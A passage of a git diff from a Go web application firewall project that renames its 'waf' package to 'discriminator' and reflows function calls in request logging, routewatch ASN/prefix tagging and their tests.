t.Errorf("log line has reputation %v, want %v", line.Reputation, want)
|
||||||
"log line has reputation %v, want %v",
|
|
||||||
line.Reputation,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -17,7 +17,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||||
)
|
)
|
||||||
|
|
||||||
// refusal is waf refusing a request: the status the visitor is to get, 0
|
// refusal is discriminator refusing a request: the status the visitor is to get, 0
|
||||||
// to close its connection without an answer, and the action the log line names.
|
// to close its connection without an answer, and the action the log line names.
|
||||||
type refusal struct {
|
type refusal struct {
|
||||||
status int
|
status int
|
||||||
@@ -25,7 +25,7 @@ type refusal struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// decision is what the checks note of a request: its log line, and what
|
// decision is what the checks note of a request: its log line, and what
|
||||||
// counting the request needs once it has ended. waf keeps a copy of it
|
// counting the request needs once it has ended. discriminator keeps a copy of it
|
||||||
// until the request's report comes. It holds no credentials, since the log line
|
// until the request's report comes. It holds no credentials, since the log line
|
||||||
// never does, and neither the request's objects nor their bodies.
|
// never does, and neither the request's objects nor their bodies.
|
||||||
type decision struct {
|
type decision struct {
|
||||||
@@ -34,7 +34,7 @@ type decision struct {
|
|||||||
// requestURI is the path with the query, as a ban's notes keep it.
|
// requestURI is the path with the query, as a ban's notes keep it.
|
||||||
requestURI string
|
requestURI string
|
||||||
// site is, for a question, the host the visitor asked for, which the
|
// site is, for a question, the host the visitor asked for, which the
|
||||||
// alerts name, since one waf serves many sites.
|
// alerts name, since one discriminator serves many sites.
|
||||||
site string
|
site string
|
||||||
// allowed is true for a question answered with DispositionAllow.
|
// allowed is true for a question answered with DispositionAllow.
|
||||||
allowed bool
|
allowed bool
|
||||||
@@ -63,7 +63,7 @@ type decision struct {
|
|||||||
reputation []bans.ReputationHit
|
reputation []bans.ReputationHit
|
||||||
}
|
}
|
||||||
|
|
||||||
// request is one request to waf, from the moment its headers have been
|
// request is one request to discriminator, from the moment its headers have been
|
||||||
// read to its log line.
|
// read to its log line.
|
||||||
type request struct {
|
type request struct {
|
||||||
decision
|
decision
|
||||||
@@ -90,10 +90,7 @@ type request struct {
|
|||||||
// with what is known of the request. isQuestion says whether r is a question,
|
// with what is known of the request. isQuestion says whether r is a question,
|
||||||
// whose headers give the request's id and scheme.
|
// whose headers give the request's id and scheme.
|
||||||
func (h *handler) startRequest(
|
func (h *handler) startRequest(
|
||||||
w http.ResponseWriter,
|
w http.ResponseWriter, r *http.Request, client, peer netip.Addr, isQuestion bool,
|
||||||
r *http.Request,
|
|
||||||
client, peer netip.Addr,
|
|
||||||
isQuestion bool,
|
|
||||||
) *request {
|
) *request {
|
||||||
h.metrics.RequestStarted()
|
h.metrics.RequestStarted()
|
||||||
|
|
||||||
@@ -105,26 +102,23 @@ func (h *handler) startRequest(
|
|||||||
client: client,
|
client: client,
|
||||||
requestURI: r.URL.RequestURI(),
|
requestURI: r.URL.RequestURI(),
|
||||||
line: requestlog.Line{
|
line: requestlog.Line{
|
||||||
Time: requestlog.FormatTime(start),
|
Time: requestlog.FormatTime(start),
|
||||||
Instance: h.config.InstanceName,
|
Instance: h.config.InstanceName,
|
||||||
ClientIP: client.String(),
|
ClientIP: client.String(),
|
||||||
Method: r.Method,
|
Method: r.Method,
|
||||||
Scheme: scheme(r, isQuestion),
|
Scheme: scheme(r, isQuestion),
|
||||||
Host: r.Host,
|
Host: r.Host,
|
||||||
Path: rules.Path(r),
|
Path: rules.Path(r),
|
||||||
Query: r.URL.RawQuery,
|
Query: r.URL.RawQuery,
|
||||||
Protocol: r.Proto,
|
Protocol: r.Proto,
|
||||||
Referer: r.Referer(),
|
Referer: r.Referer(),
|
||||||
UserAgent: r.UserAgent(),
|
UserAgent: r.UserAgent(),
|
||||||
RequestID: requestID(r, isQuestion),
|
RequestID: requestID(r, isQuestion),
|
||||||
PeerIP: peer.String(),
|
PeerIP: peer.String(),
|
||||||
ForwardedFor: strings.Join(forwardedFor, ", "),
|
ForwardedFor: strings.Join(forwardedFor, ", "),
|
||||||
ClientGroup: h.clientGroup(client).String(),
|
ClientGroup: h.clientGroup(client).String(),
|
||||||
ContentType: r.Header.Get("Content-Type"),
|
ContentType: r.Header.Get("Content-Type"),
|
||||||
RequestHeaders: requestHeaders(
|
RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
|
||||||
r,
|
|
||||||
h.config.LogRequestHeaders,
|
|
||||||
),
|
|
||||||
HasAuthorization: len(r.Header.Values("Authorization")) > 0,
|
HasAuthorization: len(r.Header.Values("Authorization")) > 0,
|
||||||
HasCookie: len(r.Header.Values("Cookie")) > 0,
|
HasCookie: len(r.Header.Values("Cookie")) > 0,
|
||||||
Action: requestlog.ActionForward,
|
Action: requestlog.ActionForward,
|
||||||
@@ -197,10 +191,7 @@ func (rq *request) check(ctx context.Context) *refusal {
|
|||||||
action == requestlog.ActionBlockedByCoreRuleSet:
|
action == requestlog.ActionBlockedByCoreRuleSet:
|
||||||
return &refusal{status: http.StatusForbidden, action: action}
|
return &refusal{status: http.StatusForbidden, action: action}
|
||||||
case action == requestlog.ActionRequestHeaderTooLarge:
|
case action == requestlog.ActionRequestHeaderTooLarge:
|
||||||
return &refusal{
|
return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action}
|
||||||
status: http.StatusRequestHeaderFieldsTooLarge,
|
|
||||||
action: action,
|
|
||||||
}
|
|
||||||
default:
|
default:
|
||||||
return rq.banResponse(action)
|
return rq.banResponse(action)
|
||||||
}
|
}
|
||||||
@@ -290,11 +281,7 @@ func (rq *request) finish() {
|
|||||||
func (rq *request) writeLine() {
|
func (rq *request) writeLine() {
|
||||||
err := requestlog.Write(rq.h.requestLog, &rq.line)
|
err := requestlog.Write(rq.h.requestLog, &rq.line)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
rq.h.processLog.Error(
|
rq.h.processLog.Error("writing the request log failed", "error", err.Error())
|
||||||
"writing the request log failed",
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -328,11 +315,7 @@ func (rq *request) addToHistory() {
|
|||||||
BlockedByCoreRuleSet: rq.blockedByCoreRuleSet,
|
BlockedByCoreRuleSet: rq.blockedByCoreRuleSet,
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.h.limiter.AddToHistory(
|
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
|
||||||
rq.h.clientGroup(rq.client),
|
|
||||||
rq.h.now(),
|
|
||||||
request,
|
|
||||||
)
|
|
||||||
rq.h.metrics.Offences(request)
|
rq.h.metrics.Offences(request)
|
||||||
|
|
||||||
answer, found := rq.answerAtTheEnd()
|
answer, found := rq.answerAtTheEnd()
|
||||||
@@ -370,10 +353,8 @@ func (rq *request) countAnomalies() {
|
|||||||
func anomalyThresholdsSet(cfg *config.Config) bool {
|
func anomalyThresholdsSet(cfg *config.Config) bool {
|
||||||
off := anomaly.Thresholds{}
|
off := anomaly.Thresholds{}
|
||||||
|
|
||||||
return cfg.AnomalyClient != off || cfg.AnomalyNet != off ||
|
return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off ||
|
||||||
cfg.AnomalyASN != off ||
|
cfg.AnomalyTotal != off || cfg.AnomalyWatch != off
|
||||||
cfg.AnomalyTotal != off ||
|
|
||||||
cfg.AnomalyWatch != off
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// answerAtTheEnd returns, for a client that was looked up, the lookup's
|
// answerAtTheEnd returns, for a client that was looked up, the lookup's
|
||||||
@@ -392,7 +373,7 @@ func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
|
|||||||
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
|
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
|
||||||
}
|
}
|
||||||
|
|
||||||
// responseWriter is waf's answer to a request. It notes the status and
|
// responseWriter is discriminator's answer to a request. It notes the status and
|
||||||
// size for the log line, and the first error writing the answer.
|
// size for the log line, and the first error writing the answer.
|
||||||
type responseWriter struct {
|
type responseWriter struct {
|
||||||
http.ResponseWriter
|
http.ResponseWriter
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -11,9 +11,9 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -92,10 +92,8 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if strings.Contains(out.text(), "secret") {
|
if strings.Contains(out.text(), "secret") {
|
||||||
t.Errorf(
|
t.Errorf("a value of Authorization, Cookie or Set-Cookie is logged:\n%s",
|
||||||
"a value of Authorization, Cookie or Set-Cookie is logged:\n%s",
|
out.text())
|
||||||
out.text(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -104,13 +102,10 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
|
|||||||
func wantFullLine(t *testing.T, line logLine) {
|
func wantFullLine(t *testing.T, line logLine) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
headers := map[string]string{
|
headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
|
||||||
"accept": "text/html",
|
|
||||||
"x-custom": "one, two",
|
|
||||||
}
|
|
||||||
|
|
||||||
want := withTimings(line, requestlog.Line{
|
want := withTimings(line, requestlog.Line{
|
||||||
Type: requestType, WAFLine: requestlog.WAFLineReport,
|
Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
|
||||||
Time: line.Time, Instance: instance,
|
Time: line.Time, Instance: instance,
|
||||||
ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
|
ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
|
||||||
Host: appHost, Path: "/full", Protocol: protocol,
|
Host: appHost, Path: "/full", Protocol: protocol,
|
||||||
@@ -125,13 +120,8 @@ func wantFullLine(t *testing.T, line logLine) {
|
|||||||
Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8,
|
Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8,
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
if !reflect.DeepEqual(line.Line, want) ||
|
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "from-traefik" {
|
||||||
line.RequestID == "from-traefik" {
|
t.Errorf("log line\n%+v\nwant\n%+v, with a new request id", line.Line, want)
|
||||||
t.Errorf(
|
|
||||||
"log line\n%+v\nwant\n%+v, with a new request id",
|
|
||||||
line.Line,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -141,7 +131,7 @@ func wantBareLine(t *testing.T, line logLine) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
want := withTimings(line, requestlog.Line{
|
want := withTimings(line, requestlog.Line{
|
||||||
Type: requestType, WAFLine: requestlog.WAFLineReport,
|
Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
|
||||||
Time: line.Time, Instance: instance,
|
Time: line.Time, Instance: instance,
|
||||||
ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
|
ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
|
||||||
Host: appHost, Path: "/bare", Protocol: protocol,
|
Host: appHost, Path: "/bare", Protocol: protocol,
|
||||||
@@ -150,11 +140,7 @@ func wantBareLine(t *testing.T, line logLine) {
|
|||||||
Action: requestlog.ActionForward,
|
Action: requestlog.ActionForward,
|
||||||
})
|
})
|
||||||
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" {
|
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" {
|
||||||
t.Errorf(
|
t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want)
|
||||||
"log line\n%+v\nwant\n%+v, with a request id",
|
|
||||||
line.Line,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range []string{
|
for _, name := range []string{
|
||||||
@@ -177,9 +163,7 @@ func withTimings(line logLine, want requestlog.Line) requestlog.Line {
|
|||||||
return want
|
return want
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(
|
func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const hasAuthorization, hasCookie = "has_authorization", "has_cookie"
|
const hasAuthorization, hasCookie = "has_authorization", "has_cookie"
|
||||||
@@ -202,13 +186,8 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(
|
|||||||
|
|
||||||
_, otherPresent := line.fields[tc.other]
|
_, otherPresent := line.fields[tc.other]
|
||||||
if line.fields[tc.field] != true || otherPresent {
|
if line.fields[tc.field] != true || otherPresent {
|
||||||
t.Errorf(
|
t.Errorf("log line has %s %v and %s %v, want true and none",
|
||||||
"log line has %s %v and %s %v, want true and none",
|
tc.field, line.fields[tc.field], tc.other, line.fields[tc.other])
|
||||||
tc.field,
|
|
||||||
line.fields[tc.field],
|
|
||||||
tc.other,
|
|
||||||
line.fields[tc.other],
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -227,16 +206,10 @@ func TestTimingsAreInOrder(t *testing.T) {
|
|||||||
_, _ = io.WriteString(w, "done")
|
_, _ = io.WriteString(w, "done")
|
||||||
})
|
})
|
||||||
|
|
||||||
addr, out, server := startProxyWithClock(
|
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{
|
||||||
t,
|
trustedProxies: trustLocalhost,
|
||||||
app.URL,
|
denyNets: denied,
|
||||||
"",
|
})
|
||||||
time.Now,
|
|
||||||
map[string]string{
|
|
||||||
trustedProxies: trustLocalhost,
|
|
||||||
denyNets: denied,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
// Each log line is waited for before the next request, so that the
|
// Each log line is waited for before the next request, so that the
|
||||||
// lines are in order.
|
// lines are in order.
|
||||||
@@ -248,7 +221,7 @@ func TestTimingsAreInOrder(t *testing.T) {
|
|||||||
wantStatus(t, do(t, req), http.StatusForbidden)
|
wantStatus(t, do(t, req), http.StatusForbidden)
|
||||||
refused := out.endedLines(t, 2)[1]
|
refused := out.endedLines(t, 2)[1]
|
||||||
|
|
||||||
wantStatus(t, get(t, server.Addr, waf.HealthPath), http.StatusOK)
|
wantStatus(t, get(t, server.Addr, discriminator.HealthPath), http.StatusOK)
|
||||||
health := out.endedLines(t, 3)[2]
|
health := out.endedLines(t, 3)[2]
|
||||||
|
|
||||||
// A request passed to the app has every timing; one refused, none of
|
// A request passed to the app has every timing; one refused, none of
|
||||||
@@ -270,12 +243,8 @@ func TestTimingsAreInOrder(t *testing.T) {
|
|||||||
|
|
||||||
// The checks end before the request is handed to the app.
|
// The checks end before the request is handed to the app.
|
||||||
if checks+upstream > total {
|
if checks+upstream > total {
|
||||||
t.Errorf(
|
t.Errorf("timings in microseconds: total %d, checks %d, upstream total %d",
|
||||||
"timings in microseconds: total %d, checks %d, upstream total %d",
|
total, checks, upstream)
|
||||||
total,
|
|
||||||
checks,
|
|
||||||
upstream,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if *refused.DurationChecksMS > refused.DurationTotalMS {
|
if *refused.DurationChecksMS > refused.DurationTotalMS {
|
||||||
@@ -300,12 +269,7 @@ func wantTimings(t *testing.T, line logLine, want ...string) {
|
|||||||
slices.Sort(want)
|
slices.Sort(want)
|
||||||
|
|
||||||
if !slices.Equal(got, want) {
|
if !slices.Equal(got, want) {
|
||||||
t.Errorf(
|
t.Errorf("log line of %s has timings %v, want %v", line.Path, got, want)
|
||||||
"log line of %s has timings %v, want %v",
|
|
||||||
line.Path,
|
|
||||||
got,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -316,43 +280,23 @@ func wantHeuristic(t *testing.T, line logLine, heuristic, figures string) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if line.Heuristic != heuristic ||
|
if line.Heuristic != heuristic ||
|
||||||
!reflect.DeepEqual(
|
!reflect.DeepEqual(line.HeuristicFigures, decodeFigures(t, figures)) {
|
||||||
line.HeuristicFigures,
|
t.Errorf("log line has heuristic %q with heuristic_figures %v, want %q with %s",
|
||||||
decodeFigures(t, figures),
|
line.Heuristic, line.HeuristicFigures, heuristic, figures)
|
||||||
) {
|
|
||||||
t.Errorf(
|
|
||||||
"log line has heuristic %q with heuristic_figures %v, want %q with %s",
|
|
||||||
line.Heuristic,
|
|
||||||
line.HeuristicFigures,
|
|
||||||
heuristic,
|
|
||||||
figures,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantAfterAnswerHeuristic checks after_answer_heuristic and
|
// wantAfterAnswerHeuristic checks after_answer_heuristic and
|
||||||
// after_answer_heuristic_figures as wantHeuristic checks heuristic and
|
// after_answer_heuristic_figures as wantHeuristic checks heuristic and
|
||||||
// heuristic_figures.
|
// heuristic_figures.
|
||||||
func wantAfterAnswerHeuristic(
|
func wantAfterAnswerHeuristic(t *testing.T, line logLine, heuristic, figures string) {
|
||||||
t *testing.T,
|
|
||||||
line logLine,
|
|
||||||
heuristic, figures string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if line.AfterAnswerHeuristic != heuristic ||
|
if line.AfterAnswerHeuristic != heuristic ||
|
||||||
!reflect.DeepEqual(
|
!reflect.DeepEqual(line.AfterAnswerHeuristicFigures, decodeFigures(t, figures)) {
|
||||||
line.AfterAnswerHeuristicFigures,
|
t.Errorf("log line has after_answer_heuristic %q with "+
|
||||||
decodeFigures(t, figures),
|
"after_answer_heuristic_figures %v, want %q with %s",
|
||||||
) {
|
line.AfterAnswerHeuristic, line.AfterAnswerHeuristicFigures, heuristic, figures)
|
||||||
t.Errorf(
|
|
||||||
"log line has after_answer_heuristic %q with "+
|
|
||||||
"after_answer_heuristic_figures %v, want %q with %s",
|
|
||||||
line.AfterAnswerHeuristic,
|
|
||||||
line.AfterAnswerHeuristicFigures,
|
|
||||||
heuristic,
|
|
||||||
figures,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
|
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
|
||||||
|
|
||||||
@@ -20,20 +20,12 @@ type routeWatchTags struct{}
|
|||||||
|
|
||||||
func (routeWatchTags) name() string { return "routewatch_tags" }
|
func (routeWatchTags) name() string { return "routewatch_tags" }
|
||||||
|
|
||||||
func (routeWatchTags) check(
|
func (routeWatchTags) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||||
ctx context.Context,
|
|
||||||
rq *request,
|
|
||||||
_ time.Time,
|
|
||||||
) *verdict {
|
|
||||||
if rq.h.routeWatch == nil {
|
if rq.h.routeWatch == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
route, missing := rq.h.routeWatch.Route(
|
route, missing := rq.h.routeWatch.Route(ctx, rq.h.clientGroup(rq.client), rq.client)
|
||||||
ctx,
|
|
||||||
rq.h.clientGroup(rq.client),
|
|
||||||
rq.client,
|
|
||||||
)
|
|
||||||
if missing != "" {
|
if missing != "" {
|
||||||
rq.line.RouteWatchTagsMissing = string(missing)
|
rq.line.RouteWatchTagsMissing = string(missing)
|
||||||
|
|
||||||
@@ -43,9 +35,7 @@ func (routeWatchTags) check(
|
|||||||
rq.addTag(config.PrefixTagPrefix + route.Netblock.String())
|
rq.addTag(config.PrefixTagPrefix + route.Netblock.String())
|
||||||
|
|
||||||
if route.ASN != 0 {
|
if route.ASN != 0 {
|
||||||
rq.addTag(
|
rq.addTag(config.ASNTagPrefix + strconv.FormatUint(uint64(route.ASN), 10))
|
||||||
config.ASNTagPrefix + strconv.FormatUint(uint64(route.ASN), 10),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
+15
-50
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -10,8 +10,8 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
|
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
|
||||||
@@ -58,7 +58,7 @@ func startRouteWatch(t *testing.T, routes map[string]standInRoute) string {
|
|||||||
// waitForRouteWatch waits until routewatch's answer about from, in the client
|
// waitForRouteWatch waits until routewatch's answer about from, in the client
|
||||||
// group of the given length, is kept, so that the next request gets its tags.
|
// group of the given length, is kept, so that the next request gets its tags.
|
||||||
func waitForRouteWatch(
|
func waitForRouteWatch(
|
||||||
t *testing.T, server *waf.Server, from string, bits int,
|
t *testing.T, server *discriminator.Server, from string, bits int,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -67,21 +67,13 @@ func waitForRouteWatch(
|
|||||||
deadline := time.Now().Add(5 * time.Second)
|
deadline := time.Now().Add(5 * time.Second)
|
||||||
|
|
||||||
for {
|
for {
|
||||||
_, missing := server.RouteWatch.Route(
|
_, missing := server.RouteWatch.Route(context.Background(), client, addr)
|
||||||
context.Background(),
|
|
||||||
client,
|
|
||||||
addr,
|
|
||||||
)
|
|
||||||
if missing == "" {
|
if missing == "" {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if time.Now().After(deadline) {
|
if time.Now().After(deadline) {
|
||||||
t.Fatalf(
|
t.Fatalf("routewatch's answer about %s not kept: %q", from, missing)
|
||||||
"routewatch's answer about %s not kept: %q",
|
|
||||||
from,
|
|
||||||
missing,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
time.Sleep(time.Millisecond)
|
time.Sleep(time.Millisecond)
|
||||||
@@ -100,14 +92,8 @@ func wantTagsMissing(t *testing.T, line logLine, want string) {
|
|||||||
func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) {
|
func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
url := startRouteWatch(
|
url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 64496}})
|
||||||
t,
|
s, server, _ := startWithLookups(t, map[string]string{routeWatchURL: url})
|
||||||
map[string]standInRoute{fromDE: {prefixDE, 64496}},
|
|
||||||
)
|
|
||||||
s, server, _ := startWithLookups(
|
|
||||||
t,
|
|
||||||
map[string]string{routeWatchURL: url},
|
|
||||||
)
|
|
||||||
|
|
||||||
waitForRouteWatch(t, server, fromDE, 32)
|
waitForRouteWatch(t, server, fromDE, 32)
|
||||||
|
|
||||||
@@ -119,21 +105,14 @@ func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) {
|
|||||||
func TestRouteWatchTagsAreOnALineDenyNetsRefused(t *testing.T) {
|
func TestRouteWatchTagsAreOnALineDenyNetsRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
url := startRouteWatch(
|
url := startRouteWatch(t, map[string]standInRoute{fromKP: {prefixKP, 64511}})
|
||||||
t,
|
|
||||||
map[string]standInRoute{fromKP: {prefixKP, 64511}},
|
|
||||||
)
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
s, _, server := startWithClock(t, "", map[string]string{
|
||||||
lookupSource: off, routeWatchURL: url, denyNets: fromKP,
|
lookupSource: off, routeWatchURL: url, denyNets: fromKP,
|
||||||
})
|
})
|
||||||
|
|
||||||
waitForRouteWatch(t, server, fromKP, 32)
|
waitForRouteWatch(t, server, fromKP, 32)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||||
fromKP,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientDenied,
|
|
||||||
)
|
|
||||||
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+fromKP+`/32"}`)
|
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+fromKP+`/32"}`)
|
||||||
wantTags(t, line, "asn=64511", "prefix="+prefixKP)
|
wantTags(t, line, "asn=64511", "prefix="+prefixKP)
|
||||||
}
|
}
|
||||||
@@ -155,11 +134,7 @@ func TestRouteWithoutAnOriginASGivesOnlyThePrefixTag(t *testing.T) {
|
|||||||
func TestUnsetRouteWatchChangesNothing(t *testing.T) {
|
func TestUnsetRouteWatchChangesNothing(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(
|
s, _, server := startWithClock(t, "", map[string]string{lookupSource: off})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{lookupSource: off},
|
|
||||||
)
|
|
||||||
|
|
||||||
if server.RouteWatch != nil {
|
if server.RouteWatch != nil {
|
||||||
t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset")
|
t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset")
|
||||||
@@ -184,11 +159,8 @@ func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
|
|||||||
lookupSource: off, routeWatchURL: "http://224.0.0.1",
|
lookupSource: off, routeWatchURL: "http://224.0.0.1",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantTagsMissing(
|
wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||||
t,
|
"no_answer_yet")
|
||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
|
||||||
"no_answer_yet",
|
|
||||||
)
|
|
||||||
|
|
||||||
deadline := time.Now().Add(5 * time.Second)
|
deadline := time.Now().Add(5 * time.Second)
|
||||||
|
|
||||||
@@ -246,22 +218,15 @@ func TestTagDenyRefusesOnARouteWatchPrefix(t *testing.T) {
|
|||||||
waitForRouteWatch(t, server, fromKP, 32)
|
waitForRouteWatch(t, server, fromKP, 32)
|
||||||
waitForRouteWatch(t, server, fromDE, 32)
|
waitForRouteWatch(t, server, fromDE, 32)
|
||||||
|
|
||||||
wantHeuristic(
|
wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||||
t,
|
"tag_deny", `{"tag": "prefix=`+prefixKP+`"}`)
|
||||||
s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
|
||||||
"tag_deny",
|
|
||||||
`{"tag": "prefix=`+prefixKP+`"}`,
|
|
||||||
)
|
|
||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTagLimitPercentWorksWithAnIPv6Prefix(t *testing.T) {
|
func TestTagLimitPercentWorksWithAnIPv6Prefix(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
url := startRouteWatch(
|
url := startRouteWatch(t, map[string]standInRoute{fromV6: {prefixV6, 64496}})
|
||||||
t,
|
|
||||||
map[string]standInRoute{fromV6: {prefixV6, 64496}},
|
|
||||||
)
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
s, _, server := startWithClock(t, "", map[string]string{
|
||||||
lookupSource: off, routeWatchURL: url, rateLimitPerMinute: "2",
|
lookupSource: off, routeWatchURL: url, rateLimitPerMinute: "2",
|
||||||
tagLimitPercent: "prefix=" + prefixV6 + ":50",
|
tagLimitPercent: "prefix=" + prefixV6 + ":50",
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic rule_files. It reads the rules of the rule files, which
|
// The heuristic rule_files. It reads the rules of the rule files, which
|
||||||
